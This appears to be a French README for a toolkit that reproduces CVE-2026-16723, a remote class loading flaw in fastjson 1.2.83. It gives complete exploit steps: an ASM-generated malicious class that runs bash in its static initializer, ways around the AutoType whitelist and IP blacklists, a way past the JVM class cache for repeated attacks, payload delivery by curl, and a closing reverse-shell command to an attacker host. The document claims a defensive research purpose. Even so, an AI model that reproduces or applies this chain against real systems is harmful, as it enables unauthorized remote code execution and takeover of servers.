
Boîte à outils de reproduction CVE-2026-16723 - jar fastjson 1.2.83 : générateur de charge utile de chargement de classe à distance (POC.class construit avec ASM avec @JSONType + exécution clinit)
Usage : reproduction de la vulnérabilité CVE-2026-16723. Ce dépôt est le générateur de classes malveillantes (générateur de payload) pour la chaîne de chargement de classes distantes
jar:de fastjson 1.2.83 — il utilise ASM pour générer à l'exécution une classe portant l'annotation@JSONType, dont le<clinit>exécute une commande arbitraire, et, combiné au laboratoire CVE-2026-16723 (Spring Boot + fastjson 1.2.83), permet de reproduire intégralement le processus, de l'« envoi du payload » à l'« exécution de la commande ». Destiné uniquement à la validation de vulnérabilités et à la recherche défensive dans un environnement autorisé.
GenProbe2.java n'est pas l'exploit lui-même, mais la première étape de la génération du payload : il produit POC.class, que vous empaquetez dans un fichier jar sans extension déposé sur un serveur HTTP ; vous faites ensuite désérialiser par le fastjson cible un nom de classe pointant vers ce jar, et la JVM cible télécharge et charge POC à distance via le protocole jar:, déclenchant le bloc statique.
La classe générée comporte trois choix de conception délibérés, chacun répondant au contournement d'un obstacle réel :
| Caractéristique du généré | Rôle |
|---|---|
Annotation de classe @com.alibaba.fastjson.annotation.JSONType(orders = {"x"}) | Fait en sorte que, lors de la phase de scan des annotations, fastjson considère cette classe comme hasJsonType, contournant la vérification de la liste blanche AutoType (1.2.83 désactive autoType par défaut ; les classes portant @JSONType empruntent une autre branche d'autorisation) |
Runtime.getRuntime().exec(new String[]{"bash","-c",CMD}) dans static {} (<clinit>) | Exécution dès le chargement de la classe. L'appel à exec sous forme de String[] équivaut à bash -c CMD, donc tout syntaxe bash dans CMD (pipes, redirections, $(), reverse shell, etc.) fonctionne (sans la limitation de découpage de exec(String)) |
Nom de classe interne = jar:http://IP:PORT/<jarName>!/<entryName> (URL contenant : / !) | À chaque changement de jarName/entryName (par ex. probe2/POC2), le nom de classe interne devient une chaîne entièrement nouvelle, contournant le cache de classes de même nom de la JVM — le service cible peut être attaqué de façon répétée avec des commandes différentes sans redémarrage |
ASM ne vérifie pas la validité du nom de classe passé à visit ; ClassWriter.COMPUTE_FRAMES se charge du calcul des frames, et la table d'exceptions englobe tout le bloc d'exécution de commande (catch (Exception) {}), garantissant qu'un échec de exec ne provoque pas d'erreur révélatrice chez le chargeur.
| Rôle | Espace réservé | Description |
|---|---|---|
| Machine d'attaque | ATTACK_IP / décimal ATTACK_IP_DEC | Héberge le jar malveillant, envoie le payload |
| Machine cible | TARGET:8080 | Spring Boot + fastjson 1.2.83 |
| Jar du lab | fastjson-cve202616723-0.0.1-SNAPSHOT.jar | Doit être la version corrigée (ParserConfig.getGlobalInstance().setDefaultClassLoader(...)) |
ATTACK_IP_DEC est l'entier décimal de l'IP de la machine d'attaque (192.168.1.1 → 3232235777) ; l'usage du décimal permet d'éviter la liste noire des littéraux IP.
Créez cmd.txt dans le répertoire de travail du générateur ; la première ligne est la commande à exécuter (le générateur l'exécute via bash -c, prenant en charge |, >, $(), le reverse shell). Commencez par une vérification minimale :
touch /tmp/CUSTOM_RCE_$(whoami)
Les lignes commençant par # sont ignorées ; en l'absence de cmd.txt, la commande par défaut est touch /tmp/PWNED_CVE-2026-16723.
# 用法: java GenProbe2 <IP十进制> <端口> <输出目录> [jar名] [类名]
java -cp ".;lib\asm-9.6.jar" GenProbe2 ATTACK_IP_DEC 8888 out probe POC
Produit out\POC.class, nom de classe interne = jar:http://ATTACK_IP:8888/probe!/POC, la console affichera « la commande va être exécutée ».
cd out
jar cvf ..\probe POC.class
Trois exigences strictes :
probe, et non probe.jar ;POC.class) doit correspondre au entryName utilisé lors de la génération.python -m http.server 8888 # 根目录 = 存放 probe 的目录,保持运行
curl.exe -s -o NUL -w "%{http_code} %{size_download}\n" http://localhost:8888/probe # 本机
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" http://ATTACK_IP:8888/probe # 靶机侧
Les deux côtés doivent afficher 200 et le nombre d'octets correct avant de continuer.
java -jar fastjson-cve202616723-0.0.1-SNAPSHOT.jar
# 看到 Tomcat started on port(s): 8080 后保持窗口不动
Le plus gros piège : PowerShell mange les guillemets doubles du JSON, un -d '{"@type":...}' direct devient {@type:...}, la cible répond illegal identifier : @pos 1, on n'atteint jamais l'étape de téléchargement du jar (aucune requête visible dans la fenêtre HTTP).
Bonne méthode : stocker le payload dans un fichier et utiliser --data-binary "@fichier". payload.json :
{"@type":"jar:http:..ATTACK_IP_DEC:8888.probe!.POC","x":1}
Remarquez ici la syntaxe : le point remplace la barre oblique et .class — jar:http:..IP:PORT.jar名!.类名 est un JSON valide, utilisé pour contourner la liste noire ; fastjson restaure le chemin de ressource jar:http://IP:PORT/probe!/POC.class puis effectue le téléchargement via ClassLoader.getResourceAsStream().
curl.exe -s -X POST http://TARGET:8080/api/products/search `
-H "Content-Type: application/json" `
--data-binary "@payload.json"
Retourne parse ok = fastjson a analysé avec succès (cela ne signifie pas que la commande a été exécutée avec succès, voir étape 7).
ls -la /tmp/ | grep CUSTOM_RCE # 期望 /tmp/CUSTOM_RCE_<user>
Le fenêtre HTTP de la machine d'attaque affiche simultanément GET /probe (généralement 2 fois : une fois pour le scan des annotations, une fois pour le chargement réel). Les commandes sans écho ne peuvent prouver leur exécution que par « fichier déposé / rappel sortant / reverse shell ».
La JVM ne charge une classe du même nom qu'une seule fois, <clinit> ne s'exécute qu'une seule fois ; une nouvelle requête portant le même nom touche le cache. Deux méthodes :
cmd.txt, régénérer avec un nouveau nom de jar + nom de classe (par exemple p2/POC2), empaqueter, placer, puis modifier le payload en {"@type":"jar:http:..ATTACK_IP_DEC:8888.p2!.POC2","x":1} ;probe d'origine peut être déclenché à nouveau.Lors d'un changement de port (8888↔8889), modifier les trois endroits en même temps : le paramètre de port lors de la génération de la classe, le port dans le payload, et le port réel du service HTTP.
Première ligne de cmd.txt :
bash -i >& /dev/tcp/ATTACK_IP/9999 0>&1
Découvrez les outils les plus utilisés par notre communauté.
Pas encore de données de popularité.